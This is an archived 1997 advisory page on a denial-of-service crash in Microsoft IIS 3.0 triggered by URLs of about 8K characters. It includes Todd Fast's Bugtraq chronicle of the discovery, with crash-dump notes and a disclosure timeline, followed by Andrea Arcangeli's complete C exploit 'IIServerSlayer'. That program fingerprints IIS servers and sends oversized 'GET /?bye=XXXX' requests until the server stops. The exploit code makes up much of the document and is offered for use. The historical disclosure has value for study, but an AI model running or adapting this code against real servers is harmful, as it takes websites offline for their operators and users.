M$ IIS DOS long URL vulnerability

Summary
Description:If you send a specially formatted URL of about 8K to IIS, you can crash the server
Author:Todd Fast (loser) found the bug, and Andrea Arcangeli <arcangeli@mbox.queen.it> ported the exploit to gcc.
Compromise:Stupid DOS attack
Vulnerable Systems:Anything running unpatched M$ IIS, mostly just NT.
Date:21 June 1997
Notes:The exploit is appended to the "advisory" cruft. Don't check his webside, these details and the code have been removed.
Details


Date: Sat, 21 Jun 1997 12:02:51 -0500
From: Aleph One <aleph1@DFW.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: http://www.eden.com/~tfast/jihad.html

                                 CyberJihad

                           The Microsoft IIS Bug

              My chronicle of finding a most embarrassing bug

                                by Todd Fast

          ________________________________________________________



                                 The Story

   My name is Todd Fast, and I found a bug today. I found it while trying
       to determine the maximum length of a URL Microsoft's Internet
    Information Server (IIS) would accept without an error. This website
              is dedicated to this bug and my chronicle of it.

    In case you haven't heard the details, there's a bug in Microsoft's
       Internet Information Server on Windows NT (and possibly other
    platforms) that allows a remote user--any user--to shut down the web
    server, and consequently the web site, using nothing more than a web
                                  browser.

       This is a hugely embarrassing bug for Microsoft in my opinion,
      particularly since they've just been lauded for pulling ahead of
   Netscape in Web server market. Knowing that anyone with a grudge and a
     twitchy keyboard could shut down any of their customer's web sites
   must bear horribly on their collective conscience. (Ask yourself, was
                               that sarcasm?)





                                  The Bug

      I know you can't wait to know more, so here are the nitty-gritty
       details on the actual bug, from the original message I sent to
                                 InfoWorld:

   I've found a severe bug that allows any remote user on the Internet to
    halt web services on an Microsoft NT 4.0 server running Microsoft's
   Internet Information Server version 3. This bug appears to unaffected
                   by the installation of Service Pack 3.

    Let me explain the details of the bug and how I came across it. The
   bug surfaces when a remote user requests a Web URL from the IIS server
    that contains a certain number of characters (I'll call this number
             the "bug threshold") and is of the following form:

              http://<some web server>/?something=XXXXXXXX...

     To cause the fatal error, this URL should contain a CGI name/value
   pair of a certain length. Note that the user does not have to request
    any specific document: the error occurs because of the length of the
      URL alone. Apparently, this bug only appears when using Netscape
   Navigator to contact the server because Internet Explorer won't allow
                        such a long URL to be sent.

    The length of the URL required to cause a crash is specific to each
    server, but seems to hover around 8K. Finding the correct length to
     kill an IIS server requires trial and error. I've found that URLs
     above the bug threshold return a "404 Object Not Found" or similar
       error. Below the threshold, the requested page loads properly.
      However, sending a URL who's length is exactly the bug threshold
                   causes the server to stop responding.

    When a user sends this URL to an IIS web server, it causes an access
    violation in the INETINFO.EXE process. We don't know what this small
   8k process's role is in the server's operation, but when it fails, it
   causes the WWW service under IIS to stop. The site administrator must
    then clear the error and restart the service to continue operation.
    The bug does not always appear upon the first document request, but
      repeated application will eventually cause INETINFO.EXE to fail.

     A colleague, Bill Chaison, has studied the Dr. Watson log file and
        offers more information on the location of the error in the
                           INETINFO.EXE process:

       "This particular GPF occurred at 0x77A07614 on our server. The
    offending application is INETINFO.EXE, one of IIS 3.0's components.
      The stamp properties of our EXE are DATE=08/09/96, TIME=01:30a,
     SIZE=7440 bytes. Referencing the dump, thread ID 0xF9 performed a
   string compare function which caused a read fault during an iteration
    of the CMPSB (compare string byte by byte) opcode. This opcode works
   off of ESI and EDI as its base pointers and ECX as its loop repeater.
    I suspect that either ECX was either miscalculated to begin with, or
    ESI or EDI went out of range and caused a protection exception. The
    Watson error dialog reflected 0x77A07614 as the CS:EIP of the fault
      when the message box popped up. The log file below confirms the
    address of the error. Search the file for "FAULT ->" to jump to its
                               description."

        See the attached file IISCRASH.TXT file for the stack dump.

    I discovered the bug while trying to determine the maximum length of
    the URL IIS would accept. While doing so, I found that our in-house
     server stopped responding. Not realizing that this was a bug that
       affected all copies of IIS, I continued my investigation using
   Microsoft's site, www.microsoft.com, and inadvertently shut down their
   web server as well. At this point I realized that the error was indeed
                      a bug that affected IIS itself.

     To my knowledge, this bug has never been exploited or been used to
   crash or deny service from any web site. However, just because I spoke
     up about it doesn't mean that someone else hasn't already found or
    been using it. All you webmasters out there using IIS, have you had
                        any strange crashes lately?





                         Are you a CyberTerrorist?

      If so, please don't start your own CyberJihad by downloading the
   following program and easily reproducing this bug on any number of IIS
    servers all over the Internet. The Internet Worm was bad enough, and
                           that is not my intent.

   I'm making this program available so that those of you running IIS can
    more easily assess your web server's vulnerability and whether this
     bug would do anything more than deny your customers service (as if
                          that's not bad enough).

    Remember this program doesn't do anything special or sneaky, it just
     makes the job of finding the already-existing bug on a particular
    server somewhat easier. It does nothing that someone couldn't do in
    about 5 minutes with a browser anyway, so please, no hate mail from
    webmasters for making it available. Instead, blame Microsoft's bug.

                           Here are the details:

   I created a small Java program, called IIServerSlayer, that repeatedly
   hits a web server with a varying length URL until the web server stops
    responding due to the IIS bug. To run the program, first ensure that
    you have Java 1.0.2 installed on your machine and running properly.
    Put the IIServerSlayer.class file in a directory and open a command
     window located at that directory. Use the following command line:

     java -classpath .;%classpath% IIServerSlayer <some IIS web server>
                           <starting URL length>

     We use a starting URL length of between 8200 and 8300 to crash our
   server, but one of our servers crashed in a much lower range of around
   4000 bytes. Trial and error is the only way to determine the threshold
   and I suggest starting at a length of 8300. Also, don't use http:// in
          front of the server name; the program does that for you.

    One of the things to note about the program is that it can't really
    detect if the web request is being served properly. Because the bug
       doesn't always surface on the first document request with the
   problematic URL, the program only decrements the length counter if an
    error occurs, but assumes that server is about to crash if an error
    doesn't occur and the counter has remained the same. This means that
     if you start the program and don't see a series of lines like the
                                 following:

                         Trying length xxxx...Done
                         Trying length xxxx...Done
                         Trying length xxxx...Done
                                    ...

                           and instead see this:

                  Almost dead! Retrying length xxxx...Done
                  Almost dead! Retrying length xxxx...Done
                  Almost dead! Retrying length xxxx...Done

     you have started with too low a URL length and need to Ctrl-C the
    program and restart it with a higher length. When the program pauses
   for more than a few seconds on a particular statement, you can be sure
   that the web server has died. When you go to the web server and clear
    the error, IIServerSlayer detects that the error occurred and gives
                         you a message stating so.

     Download a copy of IIServerSlayer for personal, non-malicious use





                                 Chronicle

   Because the Internet's relevance to our existence is access to timely
   information, I'm posting the chronicle of my experience with this bug
   below in as close to real time as I can. I don't know whether it will
    turn out interesting or not, but there's no way to tell until I try
                                    it.

                                  6-19-97
      ~3:30 PM CST I contact News Editor Michael Parsons at the trade
   publication InfoWorld and tell him a strange story of a bug I've found
     in IIS that allows any remote user to shut down an IIS web server.
   Michael sounds keenly interested and I promise to send him additional
   information and the program I've written to reproduce the bug shortly.
                  About 20 minutes later I send the email.
                                  6-19-97
    4:45 PM CST Jon P. at Microsoft calls to ask about the nature of the
   bug. He sounds nervous to me and wants to get straight to the point. I
   tell him that I'll send along the email I sent to InfoWorld along with
   the program. He sounds skeptical, but accepts. He seems to think that
    this is probably a bug Microsoft has already addressed in a service
           pack or a hotfix. I'm not so sure. Let's wait and see.
                                  6-19-97
    ~5:15 PM CST Maggie Biggs at InfoWorld calls to ask some additional
    questions about the bug for an upcoming news release. She says she's
   been able to reproduce the bug and wonders how it may affect other web
   services in IIS like FTP. I agree to send my program to her so she can
     use it to reproduce the problem. She's very friendly and helpful.
                                  6-19-97
       5:40 PM CST Maggie Biggs at InfoWorld emails to tell me she's
   reproduced the problem on her test machines and will be assessing the
    bug related to other World Wide Web services under IIS. She's stated
    that one of her test machines crashed altogether, a situation she's
                   called "potentially...quite serious".
                                  6-19-97
     5:55 PM CST News is spreading like wildfire. Another journalist at
    InfoWorld in Seattle calls and interviews me on the phone about the
   nature of the bug. He asks if the bug would occur during normal usage
    of the server and I said it probably would not due to the length of
                                the string.





                                 More Info?

   As more information on this problem comes to light, I'll post it here.
               Keep coming back to check out the latest news.







                           What's with the name?

      I named this website after the title of this message from an old
                       friend, upon hearing the news:

   "You're walking the fine line between info-terrorist and "just another
      guy looking to help mankind". Here's a tip: if you'd like to be
   labeled info-terrorist, send an e-mail to Microsoft like those Danish
       guys that found the Netscape security flaw. I think the e-mail
     actually said, "OK, where's the guy with the checkbook". Then you
   could adopt some crazy online name like 'LordChaos' or 'DethKing' like
                    those Undernet software pirates do.

     "P.S. If this blows up and I get interviewed, you can count on me
    saying all kinds of awful stuff: 'He was a loner. He read Soldier of
     Fortune a whole lot.' Then I'd throw in a curveball to make people
   really wonder: 'He would get really upset whenever 'The Tick' episode
            was a rerun and would launch a new computer virus".

                        I promise it's not all true.





                               Parting Words

      A colleague had the good sense to remind of something I'd almost
                          forgotten before today:

                          You get what you pay for



    Copyright C 1997 by Todd Fast. All rights reserved.
    Contact the author, Todd Fast, at tfast@eden.com

Date: Wed, 2 Jul 1997 21:03:31 +0200
From: Andrea Arcangeli <arcangeli@mbox.queen.it>
To: BUGTRAQ@NETSPACE.ORG
Subject: gcc port of IIServerSlayer

/* Some days ago I found the page http://www.eden.com/~tfast/jihad.html
   Then I found the java program IIServerSlayer.class made by
   Todd Fast <tfast@eden.com>, the author of the web pages.
   Now I have ported that program in gcc from java using strace and
   disassembling IIServerSlayer.class with javap (part of jdk).

   For now is tested by me only on Linux 2.1.42 compiled with gcc 2.7.2.2
   and glibc.
                by Andrea Arcangeli <arcangeli@mbox.queen.it> */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <signal.h>

int s;
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;

int open_sock(int sock, char *server, int port) {
  struct sockaddr_in blah;
  struct hostent *he;
  bzero((char *)&blah,sizeof(blah));
  blah.sin_family=AF_INET;
  blah.sin_port=htons(port);
  if ((he = gethostbyname(server)) != NULL) {
    bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
  }
  else {
    if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
      perror("gethostbyname()");
      return(2);
    }
  }
  if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
    perror("connect()");
    close(sock);
    return(3);
  }
  return 0;
}

char *generate_die_string(int lenght) {
  char letter='X';
  char *str_begin = "GET /?bye=",*str_end = " HTTP/1.0\r\n\r\n",*str;
  int i;
  str = (char *)malloc(lenght+strlen(str_end)+strlen(str_begin)+1);
  strcpy(str,str_begin);
  for(i=strlen(str_begin);i<lenght+strlen(str_begin);i++) str[i] = letter;
  str[i]=0;
  strcat(str,str_end);
  return (char *)str;
}

void IIServerSlayer(char *target,int lenght,int port,int flags) {
  char buff[2],header[512],*IIS_string = "Server: Microsoft-IIS/3.0";
  char *IIS_patch = "Bad Request";
  int count = 0,return_status;
  if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
    perror("socket()");
    exit(1);
  }
  if((return_status = open_sock(s,target,port))) exit(return_status);
  if(lenght) printf("Sending request lenght = %d to %s\n",lenght,target);
  else printf("Sending request to test if %s is a Microsoft-IIS/3.0 server\n"
              ,target);
  send(s,generate_die_string(lenght),strlen(generate_die_string(lenght)),0);
  printf("Waiting for the reply from %s\n",target);
  buff[1]=0;
  while(recv(s,buff,1,0) == 1) {
    if(flags & 1) printf("%s",buff);
    else if(!div(count,50).rem) printf(".");
    if(count < 511) header[count]=buff[0];
    count++;
  }
  printf("\n");
  header[511]=0;
  if(strstr(header,IIS_string) == NULL && lenght == 0) {
    printf("This is not a Microsoft-IIS/3.0 web server\n");
    if(!(flags & 2)) exit(0);
  }
  else if(!lenght) printf("Ok, this is a Microsoft-IIS/3.0 web server\n");
  if(strstr(header,IIS_patch) != NULL) {
    printf("This IIS/3.0 web server is patched against this exploit\n");
    if(!(flags & 2)) exit(0);
  }
  close(s);
}

void main(int argc,char **argv)
{
  int i = 1,port = 80,lenght = 8180,flags = 0,param = 0,pid;
  if (argc < 2 ) {
    printf("Usage: %s [-v] [-f] <target> [string_lenght] [port]\n",argv[0]);
    printf("[-v] = verbose mode to view the server reply\n");
    printf("[-f] = force running over non or patched IIS/3.0 web server\n");
    exit(0);
  }
  for(i=1;i<argc;i++) {
    if(!strcmp(argv[i],"-v")) { param++; flags |= 1; }
    if(!strcmp(argv[i],"-f")) { param++; flags |= 2; }
  }
  if(argc > param+2) lenght = atoi(argv[param+2]);
  if(argc > param+3) port = atoi(argv[param+3]);
  for(i=0;i<3;i++,lenght++) {
    if(i) IIServerSlayer(argv[param+1],lenght,port,flags);
    else IIServerSlayer(argv[param+1],0,port,flags);
    if(i == 1 || i == 0) lenght--;
  }
  if((pid = fork())) {
    if(pid == -1) {
      perror("I can' t fork\n");
      exit(-1);
    }
    usleep(60000000); /* wait for 1 minute */
    kill(pid,SIGTERM);
  }
  else {
    IIServerSlayer(argv[param+1],lenght,port,flags);
    printf("Sorry, %s is alive yet\n",argv[param+1]);
  }
  exit(0);
}

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